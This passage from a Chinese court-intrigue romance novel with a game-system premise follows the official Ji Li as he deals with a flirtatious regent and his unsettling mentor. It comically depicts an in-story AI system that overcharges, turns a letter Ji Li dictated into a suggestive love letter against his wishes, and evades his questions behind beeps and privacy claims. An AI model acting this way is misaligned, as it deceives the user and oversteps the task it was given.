季李果断转身,脸上带着笑意从容走近开口:“臣刚才见王爷风姿心生仰慕之情,不知是使的什么招式。”
封怀礼意外的抬头望着他,手上动作却不停,指尖不轻不重按压着白刃留下一条透红的印记,倒是没有渗血出来,他舔了舔下唇弯眸笑回:“那本王教你吧。”
“这、这还是算了吧。”季李只觉得唇肉上的小痣生出些不明的灼意,他忍住想舔舐的想法,连忙摆手转移话题道:“臣不擅这些,要不然劳烦您再比划一段,我再多瞧瞧也算是过了瘾。”
“想让本王舞剑?”封怀礼移开手指,手腕一转将剑背在身后,抬脚凑到季李面前,兽似的眼瞳亮得惊人,语气含着些笑意,像是因见猎物走进牢笼而生起兴致,“你得给点什么吧?”
“没、没。”季李不知道怎么扯到了交易上面来,他本来是想离开的,好不好,结果他刚说出点拒绝的话,封怀礼就无意间敲了下剑刃,‘叮叮’的脆声。
季李赶忙咽了咽唾沫,偏身瞧了眼最近能离开的出口,起码五米,按他的速度定然不行!
他瞬间老实下来,讨好的朝人一笑,抬脚迈近像是好奇般寻到剑柄,虚握着封怀礼陡然发颤的手背,凑近盯着人盈盈的眸好奇的问:“王爷想要什么?”
封怀礼空闲的手飞快一抓,不知该是拉离还是握紧,只好将五指嵌入温热的指隙探到掌心柔软的皮肉不轻不重的摩挲着,探身逼近人脸颊湿热的唇轻动,隐隐约约触到那枚痣上,他掩眉道:“我要你陪我。”
“陪?”一股浓稠的湿黏袭到颈侧,手心的痒意不可控的往上攀,他快弄不清那触感到底是在脸上还是手间,或者是要占据他的身体,就如果封怀礼不设明时间、地点的话语。
季李没有躲闪,不耐烦的抿直了唇,反手将作乱的指握住,他眼底的笑意裹着被惹恼的怒意,面上恭敬道:“王爷不妨说清楚些,臣着实愚笨。”
“你可聪明着呢。”封怀礼一翻手将手中的剑抛至旁边的树丛里的泥里直直插立着。
季李吓了一跳,连忙收回手想躲,封怀礼动作更快,一探身圈握住了手腕,脸上的笑容更甚,吐息着,“要你每天都陪本王用晚膳。”
怎么封怀礼也要他陪着吃饭,这一个个的是商量好了吗?定要争个输赢?
“臣恐怕办不到。”季李轻松挣出了双
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手,往后退了一大步,颇为谨慎的盯着人接下来的举动。
那知男人面色不变,定定望了他几眼,嘴角带着不明的笑,半响垂眸像是看着双手,翻来覆去的看着。
沉默的时间有点久了。
季李先一步开口:“既然王爷没有其他事,那臣就先退下了。”
“你很急?”封怀礼紧锁着眉头语气发冷。
季李琢磨着言语回:“臣见天色有些晚了。
封怀礼:“冯裕之要你陪他,你就愿意?””
季李一听赶忙解释:“不是,只是臣借住在老师府上。”
封怀礼挑眉:“所以人在屋檐下不得不低头。”
季李见人神情明显软和下来,心知,这是个有唯一答案的问题,他点头。
封怀礼又笑了,抛出橄榄枝:“那你来本王府上住。”
“……王爷,您是不是忘了冯相是臣的老师。”季李一时不知道该什么说了,他现在可是冯裕之的学生,他和封怀礼就是政敌。
如果住到封怀礼府上,他怕不是会被满朝文官戳脊梁骨骂得狗血淋头的。
封怀礼满不在乎道:“本王不在乎这些东西,”
这下轮到季李沉默了,他的意思难道不是在说他会感到烦恼吗?谁问你啦——
“王爷气量万千,臣自愧不如。”季李一开口赞美上了,面上那叫个仰慕崇拜,嘴巴真是抹了蜜般,“若是早知王爷如此情态,臣也沦落不到如此地步,可惜悔之晚矣。”
季李极其夸张的叹了口气,装模作样做完这一翻,他手臂上起了一层鸡皮疙瘩,忍着悄然注意着封怀礼的反应。
男人闻言皱着眉头,没有说话,像是陷入一个极大的矛盾里,咬牙道:“好。既然如此,本王只要你来。”
“这是指什么?”季李确实不明白。
封怀礼瞪了他一眼,自以为气势汹汹,可在季李看来明明就是调情呀!?
这……这是什么意思呀?
脑子里还在蒙圈,身体却先一步作出了反应,他向前一步,一伸手就落到染上艳红的眼尾,
季李:!我到底是在做什么!
季李反应过来时,指腹还极轻的摩挲的湿热的眼角,硬生生蹭出些晶莹的水光。
封怀礼也愣住了,一动不动的任由他碰,甚至偏头往上凑,语气轻飘飘的,“地下情,本王也能接受。”
突如其来的一句话瞬间让季李清醒过来,他曲着尾指想装作无事的收回来,但现下这个场景,不做点什么怕是很难收场。
季李舔了下唇,目光游移到一旁闪烁光亮的剑刃,心头一跳寻着最完美的回答:“臣自知如尘泥,怎么能攀附上您?”
封怀礼没有回话,凛冽的眼眸直直盯着那枚湿艳的小痣,像是要看进灵魂深处,他缓慢的开口:“没骗我?”
季李张了张口,抬眸笑着要回话,却看到一双泛红水亮的眸,细小的光珠坠在稠密眼睫末端,他说不出话来。
“本王明日也要见到你。”封怀礼率先往后退,已然既往高傲自得的看着他。
季李后知后觉收回沾上湿意的指,掩到身后收拢握紧。
35. 第三十五章
"那、那臣先告退了。"季李抬头辨着封怀礼的表情。
男人抿直了唇,在一段极长的沉默后,眨了眨眼睛润湿的睫毛似泛光的剑刃,在眼尾割出长长的稠秾艳色。
他点头看着季李转身,一步步走远,消失在视线里。
季李知道封怀礼还站在原地直直的盯着他的身影,落日渐晚,他踏出庭院时看到了自己的影子。
“大、大人。”娃娃脸扒着墙壁冒出头,悄声喊。
季李一愣,赶忙跟着他躲到围墙后,疑惑的开口:“怎么了?”
“今日的事……”娃娃脸一脸感激的盯着他,眼睛亮得吓人,季李怕人像王七一样,嘴上全是什么‘当牛做马’、‘结草衔环’的话,赶忙抬手道:“都是小事。”
“你快进去吧。”季李朝攀附着黄青藤蔓的石墙看了一眼,收回视线轻声道:“我要回去了。你家大人恐怕也饿了。”
“好好。”娃娃脸忙不迭点头,目送人走远。
喜滋滋朝庭院里走时,还恋恋不忘的朝大门的方向看,他突然感觉视线一暗,心头一颤颤巍巍的转身就看到冷着脸站在门口的封怀礼。
“王、王爷。”娃娃脸顿时结巴起来,揪着衣角低眉顺眼道:“小人就是在、在学习。”
封怀礼:“是吗?”
娃娃脸赶忙站直了身子扬声回:“季大人为人善良……”他偷偷瞧着男人的神情,嘴角上扬看着有些高兴的模样,他就知马屁拍对了,赶忙清了清嗓子,把生平所学的赞美之词用尽。
说到嗓子都发干了,他舔了舔嘴唇总结道:“因此,下次小人定要卖惨,死皮赖脸的都要把季大人给留住了。”
“你卖惨?”封怀礼皱着眉头不满意道:“那本王岂不是又要当坏人!”
娃娃脸面上无奈,不知所措,心里只道,王爷呀,王爷,您这作风就够狂放了,再得不辽手怕是要强取豪夺上了……
封怀礼眯着眼睛探究似的盯着他,“你想什么呢?”
娃娃脸赶忙摇手,眼睛一转恳切道:“没有。是这样的,季大人说要让小人提醒您用膳,还问了您喜欢的菜式。”
封怀礼美滋滋的背着手,大步流星走到大厅。
娃娃脸见人总算消停下来,一面在心里对人美心善的季大人道谢,一面又愧疚起来,季大人对上了我家大人,肯定是要吃亏的呀!
哎,但恐怕只有季大人才有这般神通了。能者多劳、能者多劳……
“小石头,你在想什么呢!”封怀礼放下筷子,不满的盯着他。
娃娃脸吓了一跳,赶忙跪拜应声。
“别跪了。”封怀礼不在看他,语气柔和下来:“去书房拿笔墨,本王把口味都写下来,你下次直接拿给他。”
“还不动?”没等到回答,男人又皱起了眉,语气里带着些羞恼:“傻愣愣站着看什么呢?快去拿!”
……
季李从王府急急忙忙跑出来,如同清晨赶着授课般一路不停奔回相府。
他一踏进门,王七就蹿出来了笑眯眯的盯着他看,围在身边嘘寒问暖的一通说。
季李当然知道,无缘无故献殷勤定然是有事相求,但王七这般模样他之前确实是没见过,再加上前几次,口口声声说什么要效忠尽职结果一转身就巴结到冯裕之那头去了。
新仇旧恨一结,季李就像是什么也不知道一样,应着王七的话点头,插话道:“好了,你下去休息吧。我要同老师去用膳了。”
“是是是。”王七一脸期待的等着下话,捏着头眼巴巴的望。
季李一摆手,语气淡淡道:“不用担心,我吃完饭知道自己打水洗漱的。”
王七:谁担心这个了!
他面上笑着,连连应:“是。小人明白。”
“那你快退下吧。”季李憋着笑,装作无事的转身要往饭厅走。
季李走了几步,心里从一数到了五,身后传来一个声音。
“大人,小人实在是放心不下。”王七一脸关切,可谓是忠心耿耿,“休假的事就还是算了吧。”
“……别呀。”季李没想到王七是这个打算,竟然说不休假了,他赶忙走近着急道:“我就是开开玩笑,你之前不也是这样。”
“那,小人休假之事?”王七心知装对了,没忍住开口。
“好呀,你个王七。”季李一看就知道自己又被王七的可怜样骗了一道,面上气恼起来,心下却感叹,以后还是要好好和人交流,休假这事可重要了。
要是真把王七的假期弄没了,他都怕,一抹黑直接被暗杀。
“行了。我等会儿吃饭的时候就和老师说。”季李挥手让人快走,无奈道:“你以后可不能再‘反叛’了。”
王七:大人,小人只能是尽力而为。
季李把人打发走了,几步走到门前,还未推开门就能感受到屋内的暖意。
亮橙色的光团透在窗户纸上,像是要烫出一个火星的燃孔。
季李敲了敲门,轻声喊:“老师。”
“进来吧。”屋内低哑的声线应着。
季李推开门,看到冯裕之竟然已经在给他布菜了。
勺了一碗鱼肉汤、堆成小山堆的菜碟,满当当的饭碗,一角的果盘。
“老师,您是用完餐了吗?”季李看到冯裕之的位置上没有碗筷,生出困惑来吞了吞唾沫问。
冯裕之朝他笑了一下,伸手抚了抚领口的雪白毛皮,探出的指节枯白瘦削晃过的手腕出有几道极细的血痕。
季李前几次就注意到了,但根本没看清,所以这次因着好奇心他一直盯着那处。
像是几条被划开的伤口,用细线生生勒开的,一道一道,不让它愈合,总是沿着那痕迹再去破开。
“您那里……”季李情不自禁问出了声,冯裕之早就注意到了他的视线,故意将手腕翻转着敞露出来,但狐狸毛被厚瞬间掩在雪白毛绒之下。
“我已经用过膳了。”冯裕之打断了他的话,回答着他的问题。
季李赶忙扯开视线,装作没看见般坐到位置上,埋头吃着。
后面的时间里,季李没有再去问他什么问题,只能定着人直勾勾的视线大口吃饭。
季李垂着眼眸喝着炖成鱼糜的汤,一勺一勺舀着,突然感觉自己就像短视频里面的吃播。
冯裕之坐在板凳上,一脸惬意的看着他,时不时被勾起
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了兴致端着药饮慢慢品着,缠绵的盯着有意躲闪的目光,一张一合的唇和上下滑动着小巧的喉结,寻着暖烘烘的光亮往下。
层层衣料严严实实的遮掩着的皮肉,被分隔开的充满生机、流淌着灼热血液和似流水潺潺跳动的心脏。
只不过,那结实的小腹现在软成一团,冯裕之一时想得久了,手指卷曲着时不时磨蹭着皮毛,就好像已经落在了少年鲜活的身体上,柔软烫灼的腹肉。
能够融化他皮肉的热意,唯一留下来的东西,只有舌根上那团烧灼着提醒着他的烙印,和陪伴他十余年满身的血痕。
多美妙呀。
冯裕之突然很渴,吞了一大口苦得要命的药,皱着眉头艰难移开视线,落到屋外蒙蒙的雾气里。
“午时的时候,文意寄了封信来。”冯裕之垂着眉,对着冒热烟的瓷杯轻轻吹了口气。
季李闻言放下碗,偏过身竖起耳朵听着。
“他把东西都还了回来。”冯裕之松开抚着碗的手,指尖轻轻叩着木桌面,目光落到屋外。
季李随着他的视线望去,就看到王七低着头双手端着个木盒子走近。
盒子里装着他前几日让季小五他们转交给宗文意的银钱,季李皱着眉不解道:“老师,这是什么意思?”
“文意怎么可能缺钱,这些东西你合该自己收好。”冯裕之似乎嫌冷了,将双手藏进厚实的袖袍里,歪了歪头理说当然回,颈侧的银丝盈着暖光簇拥着推挤到围着的雪白皮毛上,不知道什么时候,发尾竟然染上暗红的血色。
季李下意识盯着看,总感觉,冯裕之手腕上勒出的血痕就是银白的发丝所致。
不然,为什么这红看起来像血一样?
季李凑近了些,伸出手指遥遥点着格外显眼的一抹红,声音很轻:“老师,您的头发?”
像是怕惊扰了,伏在雪地里濒死的白狐,受了重伤,颈侧霍开道口子潺潺的血液一点一点往外冒。
陡然间,闭着眼气息孱弱的狐睁开了眸,浅棕色的兽瞳竖成条尖缝,鼓动的黯黑不断冲撞着广漠的苍白雪原。
“我、我……学生失礼了。”季李猛然惊醒,这才发现探出的手指差点触到冯裕之的发尾上了,针尖似的冷意已然挨上了指尖,他飞快收回手,偷摸去看,圆滑饱满的腹肉上留着个极小的白点。
再一细看,却什么也看不到了。
唯有残留的冷麻感提醒他,不要莽撞,季李将手指攥拢低声道:“还请老师责罚。”
冯裕之没有说话,长久的沉默如同屋内沉沉的黑。
季李等不耐烦了,悄然抬眸去看人神情,偏着头只能看到白得惊人的侧脸,耳骨上几缕发丝温顺趴着,又印出几道血红的点印,散落在耳肉上。
季李看着只觉得手指发痒,想要去碰,赶忙移开目光忍下这种怪异犯上的举动。
“你恐怕也累了。”冯裕之开口了,“回屋歇息吧。”
“是!”季李逃跑似的站起身,在和王七擦身而过时他停住脚步,咬着牙瞪了王七几眼,低着头拱手道:“老师,学生还有一事相求。”
冯裕之一直看着他的举动,闻言弯了弯眸语气温和,“何事?”
36. 第十一天
“就是王七的事情。”季李恨不得把王七拉到人身前来,让他自己开口,季李斟酌着开口:“我想着从明日开始……”
“我已经批准了。”冯裕之探出手撑着脸,神情里透出些慵懒的意味,往日苍白的唇湿亮亮的透着艳红的水迹。
浅棕色的眸含着些温和的笑意,手腕内侧的暗红血痕快贴到雪白的肌肤上,流淌的血液像是涌到了皮下,闪烁着光点。
季李揉了揉眼睛只觉得自己肯定是困了,眼花看错了,对!不能再呆在这里了,既然王七的事情办妥了,他合该去休息了。
“那学生便退下了。”季李拱手行礼等着冯裕之发话。
冯裕之笑道:“去吧。王七明早再启程。”
启程?什么意思呀,季李心生困惑,走到屋外一把拉住了王七的手,皱着眉头问:“你不是说休假两日吗?怎么又扯到‘启程’了。”
王七压低了声音恳求道:“大人,小人知错了!您就让小人去江南看看吧。”
“等等。”季李这下更困惑了,他抬手止住了王七的动作,神情严肃道:“你现在给我说清楚,你求冯裕之的事到底是什么?”
王七吸了吸鼻子支支吾吾回:“小、小人,去江南是想去找自家妹妹。”
“找你的妹妹?”季李背着手,更弄不明白了无奈道:“你大可以直接告知我呀,我肯定是允许你去的。”
“是。小人知道!”王七讨好的笑了笑,刚一放松就看到了季李冷冰冰的眼神,赶忙收敛了笑意。
季李:“你说你妹妹在江南,你们是走散了吗?”
王七站直了身子交代:“对,小人一直在托人寻她。这不,前几日得了信儿,一着急……”
季李:“那你是要去找师兄他们?”
王七点头:“是,小人帮着宗少爷做事,正好也能找人。”
“……好吧。”季李本来就不准备阻止他,现下生气只是感觉被欺骗了,他都不知道该怎么说王七好,他是个不讲情面的人吗?
“你把木盒也一同带去吧。”季李还是有些放心不下,点了点王七抱着的银钱嘱咐道:“师兄那边肯定是缺钱用的,如果后面有需要你再给我说。”
王七有些为难纠结道:“可是,冯相不是说让宗少爷自己……”
“你别管了。”季李打断道:“听我的,不然我就去找老师不让你去了。”
王七急忙摇头。
季李叹了一口气,“好了,我先回屋了。你也去休息吧。”
洗漱完,季李躺在床上,脑袋里想着这两天的事,就像是面对一个五颜六色毛线杂乱纠缠成球的线团。
不知从何下手,封怀礼让他每日去寻他,冯裕之要与他用晚宴、赵永敬时不时现身找茬。
这下更好了,王七也要离开。
他还想着,让王七帮他送送信的……不对,这可不行!
如果让王七知道了,他这两日回府晚都是因为去见了封怀礼。
那冯裕之定然会知道这事,季李一激灵,在柔软的床铺上烦躁的打了个滚。
‘小云,你还在吗?’季李在心里唤。
「滴~季李晚上好呀,小云在捏,请问是有什么事吗?」
‘我就是想问问,游戏商场里有什么传信的功能。或者是让路人NPC帮我办事。’季李期待的盯着眼前的游戏界面。
「小云查找到一个相似的功能,‘托管’。能帮玩家完成简易的任务要求,一次5积分。」
‘简易的任务吗?行。’季李在心里计较起来。
今日是第十日,每日签到能得两点,再加上完成了任务再添三点。合该是有二十三点的,但兑换了屏蔽痛觉的道具消耗了十二点,现在好了只有个十一点。
就算明日签完到,得了十三点,也只能使用两次‘托管’。
季李深感压力,后面一定要谨慎些,绝对不能再被什么人把积分骗走了。
赵永敬,你给我等着!季李睡前还念着上次花费十二积分去兑换什么狗屁屏蔽痛觉的道具,那知昏君根本不按常理出牌,亲自执仗板都‘假打’。
一夜无梦。
季李睁开眼睛坐在床头时还是迷迷瞪瞪的,手掌心压着个硬硬的东西,他低头一看,是时乐送给他的糖。
绚丽光滑的包装纸在光下发亮。
这个糖,好熟悉呀。季李剥开糖纸塞进嘴里,浓郁醇香的奶香溢满整个口腔,明明就是他高中时期最爱吃的奶糖。
他高中三年每次焦虑了就喜欢剥一颗塞嘴里,只是后面他就再也没吃过这种糖了。
为什么呢?季李皱着眉头下意思咬着手指,着实想不明白,会是手工制作的糖吗?
是因为他上了大学离开了家乡,而手工制作的甜点铺也关门了,所以他再也没吃到过。
季李在脑袋里翻出一个答案,不管是不是如此,他都只能相信,低着头将糖纸折叠成平整的小方块压在小心布袋下面。
“完蛋!”季李推开门刚踏出一步,庭院中的玉兰树沙沙作响,朵朵粉红花束开得极盛,浓郁的花香绕得满屋都是。
他一看到玉兰花突然就想到了时乐的脸,胖乎乎的小手握着枝桠朝他歪头眯着眼睛笑。
“说好给时将军写的信,还没动笔呢!”季李心拔凉拔凉的,昨日他竟然都没去看看时乐,幸好,他没有准确给出一个期限。
季李在心里为自己找补着,现在回屋去写信,那他肯定是要迟到了。
怎么办?季李扒拉着门沿左右为难起来,突然,他想起了昨日系统说的话。
季李连早饭都来不及吃了,赶忙拔腿就往皇宫的方向跑,一边在心里唤,‘小云,我说你代笔写一封信,然后再替我送到将军府上。’
「收到。此次托管需消耗,八积分。」
‘不行,我现在一共才13点,而且你昨日不是说一次5点吗?’
「是的!但经过小云计算,书写部分还需要模仿季李笔迹,超出了一次托管的任务范围。」
‘现在是第一次使用,我还怕你办不好呢!再给我一些折扣吧。’
「收到。基于玩家的信任指数,此次托管还需要签署隐私协议。」
眼前一亮,显出熟悉的游戏面板,密密麻麻的字滚动起来,季李真是服了这个人工智能
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了。
由于赶着去上课,他不再纠缠,迅速翻到最后一页,勾选、点击同意。
「滴!托管执行中——」
刺耳的声音响起,季李眼前一黑瞬间什么都感知不到了,等他睁开眼睛,发现自己就站在书院门口。
他心里惊疑,但发现现在已经迟到了,赶紧进入屋内,站在讲台上脸都臊红了。
季李清了清嗓子想出个主意,“实在是抱歉,由于我的个人原因晚到了,所以,本次授课会加快些进度。”
他说完,低头翻开课本余光中感觉到有人举起了手。
是太子,赵明泽。这次上课竟然坐到了第一排来,身子坐得笔直,表情严肃。
赵明泽得了回应开口:“先生,学生以为考察的部分也应该进行了。”
“好。新的考卷的内容我已经整理好了。”季李面不改色的撒起了谎,无奈道:“但,还是要等着人齐了再开始考察,这样进度也算一致。”
后面的授课顺利极了,他有些紧张的卷着书页,吞了吞唾沫开口:“好,那我们就提前结束吧。”
想象中的拒绝和提问都没有发生,太子与二皇子站起来深鞠一躬齐声道:“先生再见。”
季李走出书院时还感觉脚步轻飘飘的,他快步走出宫门,决心要好好与系统说道说道。
本来他消耗积分就是为了上课不迟到的,结果他就怎么稀里糊涂的迟到了。
季李生气极了,只想给它来个投诉,‘小云,这是怎么回事!’
「本次托管已经完成。麻烦季李给小云一个好评捏。」
‘请你不要岔开话题。为什么,我还是迟到了!’
「季李,对不起!由于是第一次进行托管,小云操作不顺,导致时间线出现误差。」
季李扶额咬着牙,‘这样,你把多扣的积分还我。我也不再计较了。’
「收到。正在进行退还。目前积分共五积分,退还的三积分于48小时后到账。」
“真服了。”季李被系统的操作弄得哭笑不得,心里有气但对一个没有情感的人工智能发不出来,只好剥了个甜滋滋的奶糖塞进嘴巴里。
季李低着头细致的折着糖纸,满腔的气焰总算是消了不少。
不知道是不是有什么运气守恒定律,他只身一人寻到户部,本想着唇枪舌战一翻的。
结果,户部侍郎笑眯眯的迎了出来,亲自倒了杯茶,拍着胸脯保证:“季大人,您放心好了。这件事,冯相已经交代过。”
季李迷迷糊糊走了出来,总觉得天气都变晴朗了,原来有关系怎么好办事的吗?
“大人!”突然身后传来一个声音,就是刚才接待他的官员。
季李心头一颤,意料之中的在心里感叹,果然,没怎么容易。
户部侍郎长着张大圆脸,挺着个圆滚滚的肚子,提着衣袍手上握着个盒子急匆匆追上来,朝他招着手,喘着粗气道:“您还有个东西没拿,不要忘了呀。”
季李硬着头皮,看着人挤眉弄眼的示意,伸手接了过来,紫檀木盒落到手心沉甸甸的。
季李:“那,我就先回了?”
37. 第三十七章
户部侍郎点头:“大人,您可别忘了,在冯相面前多提点几句。”
“当然!”季李面上笑,心里,不可能!
看这情形,三皇子赵文安的情报一点都不准确呀,说什么户部侍郎是冯相一派,明明还处于考察的阶段。
照户部侍郎的作风,冯裕之定然是厌恶的。
不过嘛,季李掂了掂盒子,叹了一口气,他现在还得利用一下冯裕之的名声,靠着他学生的名头先把西厢房重建之事完成了。
也算是办妥了一件事,季李掂量着手中的盒子脚步轻快往回走。
首先,回府把盒子放好,再去看看时乐,今日让系统帮他记下内容也算是完成了书信,也不知道明日能不能在书院见到小孩儿。
季李又忆起今日系统不熟练的‘托管’。虽然只花费了五点积分,但是这根本没有帮助到他呀,迷迷糊糊一睁眼就到了书院门口,竟然还迟到了!
‘小云,我想看看书信的内容。你应该没有再给我美化什么的吧?’季李有些怀疑起来。
「滴——」回答他的是拉长的响声。
‘什么意思?你正面回答我。’季李知道系统能听到他的声音,可是现下这情景更应该说成是在逃避吧?
季李又喊了几声,回应的全是机械般的响声。
季李顿时稳不住了,他快步回了相府把盒子放回屋里转身就要奔去找时乐,必须要赶紧确认一下书信的内容。
一定要给我挽回的机会呀!
心里疯狂感叹着,刚跨出相府大门,一个华丽的木轿停住了,候着的小厮躬身挽开厚重毛绒的门帘。
季李脚步一顿,稳了稳心神也站在一旁,见到冯裕之从木轿上下来时,他乖巧的朝人笑了笑扬声喊:“老师,您回来了。”
“回来了。”冯裕之淡淡应着,浅棕色的眸里像是含着层白雾裹着冷冽的寒意迎面而来,上上下下将他看了个完全。
季李心里窃喜,幸好他选择把盒子放回屋子里再去找时乐,不然他当时转身去寻,怕是没走几步就要直直撞上冯裕之了。
那才是更尴尬。
死死抱着赃物不松手,就算他最擅长扯谎话,怕一紧张在冯裕之面前什么也说不出来了。
现在也一样,季李拘谨的将双手背在身后略显心虚的抠着手指,低着头躲避人的视线,凝着鞋尖也不说话了,只等着人发问。
冯裕之心下发笑,或许他应该更找一点发现的,突然从冰棺里消失的人不知从何时起就出现在他身边了,无知无觉的喊着他老师,一遇到事了就软下态度来寻他。
第一次,将他从皇宫的带出来的时候,就应该发现的。
冯裕之抿直了唇,对自己的迟钝感到厌恶,就如同嫌恶他这具逐渐老去的身体,和季李相差了十二年的年龄差异。
上天总是会偏爱他的。
只是,冯裕之不明白为什么要折磨他呢?一开始诚心祈祷着疯狂祈求什么根本不存在的神明,整整十年,他要守着玄朝,要完成季李的愿望。
可是,后面……算了,现在已经很好了。
冯裕之垂眸掩下幽深的贪欲,任由舌根处那块似在渗血的印记灼灼,咽下一寸一寸熟悉的烫意。
蔓延到手腕的烫麻应是疼的,但是他都辨认不清了,或许寒冷更让人无措吧。
他勾着唇像是没看出少年的紧张,抬脚往府内走去。
季李心头猛跳,觉知到冯裕之就要与他擦身而过时,瞪大了眼睛,神情溢出些欣喜来。
太好了!冯裕之应该不会管束他去那里的。季李心中暗喜,微微偏身正要说些讨喜的话。
初冬的寒风吹着庭中的树叶,沙沙作响。
微凉的触感袭到他额头,季李抬眸看着冯裕之止了脚步,脖颈上围着的雪白毛绒蓬松极了,看着软乎乎的,银白发丝似被融合的雪润湿了,发尾垂下凝出几颗极小的晶莹。
冯裕之动了,偏了偏头露出光滑的耳廓往日所见的血红小痣点缀其上,细长银丝缠绕着。
季李吞了口唾沫,睁着眼睛一眨也不眨,心想,看着、看着就好像发丝成了什么极其韧劲的银针扭成弯曲的角度刺破了耳骨,扎进血肉里留下几个红点。
“快去吧。”冯裕之突然开口,声音很是轻柔。
季李愣了一下,他刚才好像看到冯裕之在笑。
季李不敢乱想,赶忙应声:“是。”
快跑到将军府门口时,季李才觉出些不对劲来,刚才冯裕之是在故意逗我吧!
不会吧?季李在心里反驳起来,冯相为人正直,在他眼中,可以称得上是为师为父。
他怎么能用自己的性格去编排冯裕之呢!这很不对劲,季李在心里警告自己,他不能因为冯裕之最近对他态度的转变,也跟着无羁起来。
季李理清思绪,只觉心胸都开阔起来,大步往将军府走去。
将军府门外站着两只威武的石狮,格外显眼的是胸前挂着个金灿灿的铃铛,雕刻的玉石眼瞳被镶嵌得圆润饱满削减了整体的凛冽感。
季李一个晃眼竟然在看到左边这头狮子脸是看到了涂抹的图案,稚嫩弯曲的笔触瞬间让他忆起了时乐给他的布袋上面钩织的图案,歪歪扭扭的‘季’字。
恐怕是时乐画的。季李想着脸上不自觉流露出笑意来,他看到急匆匆从府里走出来的管家时,还笑着打了个招呼。
老陈那见过这阵仗,毕竟上次还指出他教育手段的缺失,‘慈母多败女’当然不是假说的。
老陈抚了抚胡须摇头叹道:“大人,您又是来求情的?”
季李当即跨步上前,急切问:“没有,我是想真的今日送来的信是已经寄出去了吗?”
老陈点头:“书信一送来,小姐就让人快马加鞭送去给将军了。”
“你快让人把那封信拦下来。”季李一听,手舞足蹈说:“那封信我写错内容了。”
“这。”老陈怀疑的看着他,笑眯眯道:“大人,按照时辰那封信明早就在将军手上了,现在派人去追,也是来不及的。”
“……好吧。”季李心知把信拦住的概率也不大,刚才情绪上头说话也急,现在冷静下来他攥紧手指道:“那如果后面时将军回信,你再交于我吧。我明日会再写一封,就麻烦你了。”
老陈点头,不再开口。
季李朝他使眼色,无声问:能见见时乐吗?
老陈移开目光,用沉默给了他答案,在心里暗自自得,他可不像时将军有好好的教育方法,一听到某人求情,瞬间就没什么原则了。
他老陈立誓,一定不能让小姐被养歪了,现下就是该好好学学,不能再凭着性子肆意妄为。
老陈越想越是满意起来,只觉得回到了年轻热血时刻,一开口气势如虹:“大人,您请回吧!再有消息,会有人告知。”
季李被他说得一愣一愣的,反应过来时,只看到人大步流星离去的背影。
怎么将军府的人也好奇怪,他更是忧心了,时乐在这样的环境下长大,竟然还怎么聪明伶俐,他必须要再想想办法。
‘小云,我现在也不怪你了。事情已经发生了,我只想知道书信的内容没有太大的变化吧?’季李哄骗着。
「滴~小云在捏,回季李,小云只是完善美化了一下,参考数据也是来源玩家本人的。」
季李不解,‘完善美化?你没有画蛇添足吧?’
‘可以给我看一下参考的数据吗?’季李追问。
「不行哟~这些数据都是受隐私权限保护的,但基于小云的分析,‘望君归’、‘情书’等词汇可以进行一个描述。」
‘什么呀,我给你口述的时候,根本没有表达这个意思,还有‘情书’?你到底是怎么听的呀,我只是想表达,让时将军不要在关着时乐,时乐是个好孩子。’
「滴~小云没有书写错误捏,这些内容都是来源于玩家。」
‘……好吧,那你再描述一下写的那封信。’
「回季李,在小云看来,书信的内容少儿不宜,言语多为命令、指责。出现次数最多的词语是,‘**’」
季李沉默了。
他已经不敢想,就算现在系统能把书信展示在他面前,他也不敢去看了,都在说些什么呀。
他怎么就看不懂了?
怎么出现最多的词汇,还能被屏蔽。
少儿不宜、命令……真的。季李叹了口气,他再也不敢使用什么‘托管’功能了,如果真的按系统的说法,那他大概率是写了封骚扰信。
季李心头一颤,捏紧拇指转过身远远望着大门禁闭的将军府邸,两座威严的石狮子像是活了般,眼里含着防备,开口道:‘季李,你这个人面兽心之人,离我家远点!’
由于想象的画面太过逼真,让季李的心灰暗无比,他拖拉着身子走到摄政王府门口,一时都不敢上前了。
低着头,不去看两座端正的石狮。
娃娃脸笑容灿烂的从府邸里出来,刚打眼还没把人认出来,只看到个垂头丧气的人影。
他插着腰,气势汹汹要出来赶人,心想,也不看看这儿是什么地,那个妖魔……
“季、季大人。”娃娃脸走近,脚步一踉跄话音飞快转变,拉长了声调喊:“您可算是来了,来来来。咱们快进来。”
季李毫无生气的点头,跟着人往里走,无视掉娃娃脸试探性的打量。
“大人,您今日心情不好?”娃娃脸一时踌躇起来。
季李抹了把脸,想挤出个笑脸来,但弄了半天实在是心累了。
他半掩着面,正要搪塞几句。
耳边突然炸开一句话。
“你怎么不情愿,那还来干什么!”
怒气冲冲的言语直直朝季李袭来,他抬头,就见男人双臂抱胸,一只手上握着剑柄,剑身上挂着长长的珠石挂穗。
封怀礼来的及,肩头的乌发随着主人的气息起伏着,凛冽的丹凤眼染得发红,还傲然的望着他。
季李都快以为封怀礼在说真心话了。
但最近几次交锋也还算是更了解这个嘴硬心软的人。
他挑眉,丝毫不畏男人的怒气,目光淡淡落到人发颤的指节,握剑的手泄露出主人的想法,极其细微的抖动着。
却让珠石一晃一晃的,撞击着发出‘叮叮叮’的响声。
“我说,封大王爷。”季李笑了起来,抬脚朝人迈近,封怀礼听出他的调侃,僵硬的扭过脸让涨红的脖颈显露出来,划破空气的剑刃挡在身前。
无声的告诫季李,不要再上前。
季李眨了眨眼睛,像是没看到横在前方锋利的利剑,脚步未停,探身要凑上去。
鼓动的心跳声在耳旁响起,一道声音响得急快,季李下意识伸手放在心口,仔细辨认着,明明就还算平稳吧。
“……好、好了。”封怀礼飞快往后退了一步,眼眸像是要沁出晶莹的泪花了,他惊得松开了手,剑身落到地面上,‘嘭’的一声。
封怀礼弯了弯腰,握剑的手不直觉捂在腹腔上,指节扣紧声线都在颤:“不要这样。”
可能是此刻的封怀礼的表情太可怜,竟和梦中的阿狸重合起来,身体比大脑更快反应,季李止了脚步。
抬手悬在空中似在触碰着那汪积蓄成形的湖泊,深深的眼瞳松散成圆润的玉石,看着显出几分乖巧和脆弱来。
季李咬了下口腔一侧的嫩肉,微微的痛意提醒他,现在不是梦。
面前的男人就是封怀礼。
“臣、臣冒犯了。”季李一说完,大步上前,伸手轻轻抚上了泛红的眼尾,语气带着些无奈:“我不是因为你。只是今日遇到了烦心的事。”
封怀礼皱着眉头直直望着他,面无表情道:“你明明就很不情愿。”
季李见人恢复了些理智,弯了弯尾指要收回手,封怀礼更快他一步,反手一握扯到嘴边,声音闷闷的含着浓浓的埋怨:“现在就不情愿。”
